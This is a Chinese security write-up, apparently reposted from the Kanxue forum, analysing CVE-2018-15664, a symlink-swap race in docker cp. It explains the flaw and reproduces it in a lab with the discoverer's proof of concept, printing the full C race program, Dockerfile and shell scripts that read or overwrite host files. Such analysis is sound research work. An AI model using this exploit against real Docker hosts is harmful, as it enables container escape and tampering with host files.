CVE-2018-15664:符号链接替换漏洞
2022-6-15 18:4:20 Author: mp.weixin.qq.com(查看原文) 阅读量:25 收藏


本文为看雪论坛优秀文章
看雪论坛作者ID:ZxyNull

来自SUSE的安全专家Aleksa Sarai公布了编号为CVE-2018-15664的docker相关高危安全漏洞,该漏洞的CVSS评分为8.7,影响面涵盖所有docker 18.06.0-ce-rc2之前发行版本,该漏洞的根因是使用FollowSymlinkInScope函数时触发TOCTTOU(time-of-check-to-time-of-use) 文件系统的竞争条件缺陷引起的。

这段函数代码在docker源码中使用较多,最为直接的就是 docker cp 命令。根据Sarai的描述:FollowSymlinkInScope的作用是解析容器中运行进程的文件路径,而攻击者可以利用解析校验完成后和操作执行间的空隙修改cp文件为一个符号链接对应的目标文件,这样理论上该攻击者可能会以root身份访问到host上或其他容器内的任意文件。

1.背景知识

docker cp命令

docker cp 命令用于在docker创建的容器与宿主机文件系统之间进行文件或目录复制。比如将文件从容器拷贝到宿主机上:

docker cp container_id:file_path_in_container host_path#实例docker cp 0cd4d9d94de2:/Test.java /Test.java

符号链接

符号链接(symbolic link)是 Linux 系统中的一种文件,它指向系统中的另一个文件或目录。符号链接类似于 Windows 系统中的快捷方式。符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。某些需要特别处理符号链接的程序(如备份程序)可能会识别并直接对其进行操作。在*nix系统中,ln命令能够创建一个符号链接,例如:

ln -s targrt_path link_path

上诉命令创建了一个名为link_path的符号链接,它指向的目标文件为target_Path。

TOCTOU

在电路设计、软件开发、系统构建中,如果一个模块的输出与多个不可控事件发生的先后时间相关,则称这种现象为“竞争条件”(Race condition),又称“竞争冒险”(race hazard)。从计算机安全考虑,许多竞争条件都会产生漏洞——攻击者通过访问/竞争共享资源,从而使利用该资源的其他参与者出现故障,导致包括拒绝服务和违法权限提升等后果。例如有名的Dirty_Cow(https://en.wikipedia.org/wiki/Dirty_COW)漏洞就是由竞争条件引起的。

而一种常见的起因就是代码先检查某个前置条件(例如认证),然后基于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件却可能被改变,如果代码的操作与安全相关,那么就很可能产生漏洞。这种安全问题也被称做TOCTTOU(time of check and the time of use)。

2. 漏洞原理

对于CVE-2018-15664来说,Docker会将docker cp 进行文件复制的行为分为先后两个部分:路径检查和命令解析。当用户执行docker cp命令后,Docker守护进程收到这个请求,首先会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,之后再进行命令的解析。
 
该流程看似没毛病,但要考虑到容器内部环境是不可控的。如果在docker守护进程检查复制路径时,攻击者可以利用中间的间隙,先在这里放置一个非符号链接的常规文件或目录,检查结束后,攻击者赶在Docker守护进程使用这个路径之前将其替换为一个符号链接,那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越。

3.漏洞复现

1. 漏洞环境使用开源的项目Metarget进行搭建,首先确保主机已经成功安装了docker之后再部署漏洞环境。
#安装Metargetgit clone https://github.com/brant-ruan/metarget.gitcd metarget/pip install -r requirements.txt #一键部署漏洞环境./metarget cnv install cve-2018-15664 #完成后查看docker版本[email protected]:/home# docker --versionDocker version 18.03.1-ce, build 9ee9f40
2.漏洞靶场搭建完毕后,我们使用漏洞发现者Aleksa Sarai提供的poc来验证一下。下载并解压Poc后,Poc的目录结构如下所示:
.├── build│   ├── Dockerfile│   └── symlink_swap.c├── run_read.sh└── run_write.sh
其中Dockerfile的内容如下,它主要分为两个部分,首先是生成一个容器,并在容器内编译构建漏洞利用程序symlink_swap,并将其放到容器的根目录之下,二是在根目录下创建一个w00t_w00t_im_a_flag文件,内容为FAILED -- INSIDE CONTAINER PATH。容器启动后执行的程序(Entrypoint)即为/symlink_swap。
# Build the binary.FROM opensuse/leapRUN zypper in -y gcc glibc-devel-staticRUN mkdir /builddirCOPY symlink_swap.c /builddir/symlink_swap.cRUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c # Set up our malicious rootfs.FROM opensuse/leapARG SYMSWAP_TARGET=/w00t_w00t_im_a_flagARG SYMSWAP_PATH=/totally_safe_pathRUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"COPY --from=0 /builddir/symlink_swap /symlink_swapENTRYPOINT ["/symlink_swap"]
symlink_swap.c主要任务是在容器内创建指向根目录的“/”的符号链接,并不断地交换符号链接(由命令行参数传入,如/totally_safe_path)与一个正常目录(如/totally_safe_path-stashed)的名字。这样一来,Docker 在宿主机上执行docker cp时,就会遇到4种不同的场景,如果首先检测到/totally_safe_path-stashed是一个正常目录,但在后面执行复制操作时/totally_safe_path却变成了一个符号链接,那么docker将在宿主机上解析这个符号链接。
symlink_swap.c 的内容如下:
#define _GNU_SOURCE#include <fcntl.h>#include <stdlib.h>#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/syscall.h>#include <unistd.h> #define usage() \    do { printf("usage: symlink_swap <symlink>\n"); exit(1); } while(0) #define bail(msg) \    do { perror("symlink_swap: " msg); exit(1); } while (0) /* No glibc wrapper for this, so wrap it ourselves. */#define RENAME_EXCHANGE (1 << 1)/*int renameat2(int olddirfd, const char *oldpath,              int newdirfd, const char *newpath, int flags){    return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);}*/ /* usage: symlink_swap <symlink> */int main(int argc, char **argv){    if (argc != 2)        usage();     char *symlink_path = argv[1];    char *stash_path = NULL;    if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)        bail("create stash_path");     /* Create a dummy file at symlink_path. */    struct stat sb = {0};    if (!lstat(symlink_path, &sb)) {        int err;        if (sb.st_mode & S_IFDIR)            err = rmdir(symlink_path);        else            err = unlink(symlink_path);        if (err < 0)            bail("unlink symlink_path");    }     /*     * Now create a symlink to "/" (which will resolve to the host's root if we     * win the race) and a dummy directory at stash_path for us to swap with.     * We use a directory to remove the possibility of ENOTDIR which reduces     * the chance of us winning.     */    if (symlink("/", symlink_path) < 0)        bail("create symlink_path");    if (mkdir(stash_path, 0755) < 0)        bail("mkdir stash_path");     /* Now we do a RENAME_EXCHANGE forever. */    for (;;) {        int err = renameat2(AT_FDCWD, symlink_path,                            AT_FDCWD, stash_path, RENAME_EXCHANGE);        if (err < 0)            perror("symlink_swap: rename exchange failed");    }    return 0;}
run_read.sh 模拟受害者不断使用 docker cp 命令将容器内的文件复制到宿主机上的场景,一旦漏洞触发,容器将恶意符号链接在宿主机文件系统解析后指向的文件将被复制到受害者设定的宿主机目录下。
run_read.sh 内容如下:
SYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/w00t_w00t_im_a_flag # 创建flagecho "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"sudo chmod 000 "$SYMSWAP_TARGET" # 构建镜像并运行容器docker build -t cyphar/symlink_swap \    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH") # 不断执行docker cp命令idx=0while truedo    mkdir "ex${idx}"    docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"    idx=$(($idx + 1))done
run_write.sh 模拟受害者不断使用 docker cp 命令将宿主机上的文件复制到容器内的场景,一旦触发漏洞,受害者指定的宿主机文件(localpath)将覆盖容器内恶意符号链接在宿主机文件系统解析后指向的文件(w00t_w00t_im_a_flag)。
run_write.sh内容如下:
SYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/w00t_w00t_im_a_flag # 创建flagecho "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"sudo chmod 0444 "$SYMSWAP_TARGET" # 构建镜像并运行容器docker build -t cyphar/symlink_swap \    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH") echo "SUCCESS -- HOST FILE CHANGED" | tee localpath # 不断执行docker cp命令while truedo    docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"done
3.启动 run_write.sh ,恶意容器运行,然后不断执行 docker cp 命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag的内容为:
FAILED -- HOST FILE UNCHANGED
如果漏洞触发,容器内的符号链接 /totally_safe_path 将在宿主机文件系统上解析,因此docker cp实际上是将 localpath 文件复制到了宿主机上的 /w00t_w00t_im_a_flag文件位置。也就是说,此时宿主机上 /w00t_w00t_im_a_flag 内容将被改写为:
SUCCESS -- HOST FILE CHANGED
如下图所示,漏洞成功触发:

附录

源码 docker-ce-18.13.1-ce

源码1:docker/pkg/symlink/fs.go:FollowSymlinkInScope
// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an// absolute path. This function handles paths in a platform-agnostic manner.func FollowSymlinkInScope(path, root string) (string, error) {    path, err := filepath.Abs(filepath.FromSlash(path))    if err != nil {        return "", err    }    root, err = filepath.Abs(filepath.FromSlash(root))    if err != nil {        return "", err    }    return evalSymlinksInScope(path, root)}
参考链接
  • TOCTTOU相关知识

https://www.cnblogs.com/liqiuhao/p/9450093.html
  • docker cp 官方文档

https://docs.docker.com/engine/reference/commandline/cp/
  • POC

https://github.com/Metarget/cloud-native-security-book/tree/main/code/0302-开发侧攻击/02-CVE-2018-15664
https://seclists.org/oss-sec/2019/q2/131
  • 其他分析报告

https://developer.aliyun.com/article/704515
http://mayoterry.com/index.php/archives/69.html
  • Metarget 开源地址

https://github.com/Metarget/metarget
  • 了解Dockerfile

https://zhuanlan.zhihu.com/p/90437739

看雪ID:ZxyNull

https://bbs.pediy.com/user-home-921173.htm

*本文由看雪论坛 ZxyNull 原创,转载请注明来自看雪社区

# 往期推荐

1.万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)

2.cgibin中与upnp协议有关的一些漏洞分析与复现

3.一种新的Android Runtime环境仿真及调试方法

4.llvm NewPassManager API分析及适配方案

5.Anti-token保护分析心得

6.STM32固件逆向

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458452452&idx=1&sn=45e52124810e59e65a86ef7931c30160&chksm=b18e316e86f9b878e2497c82fce3813b09f238af469e4e868c131a0d98cf0b9125fada6094f9#rd
如有侵权请联系:admin#unsafe.sh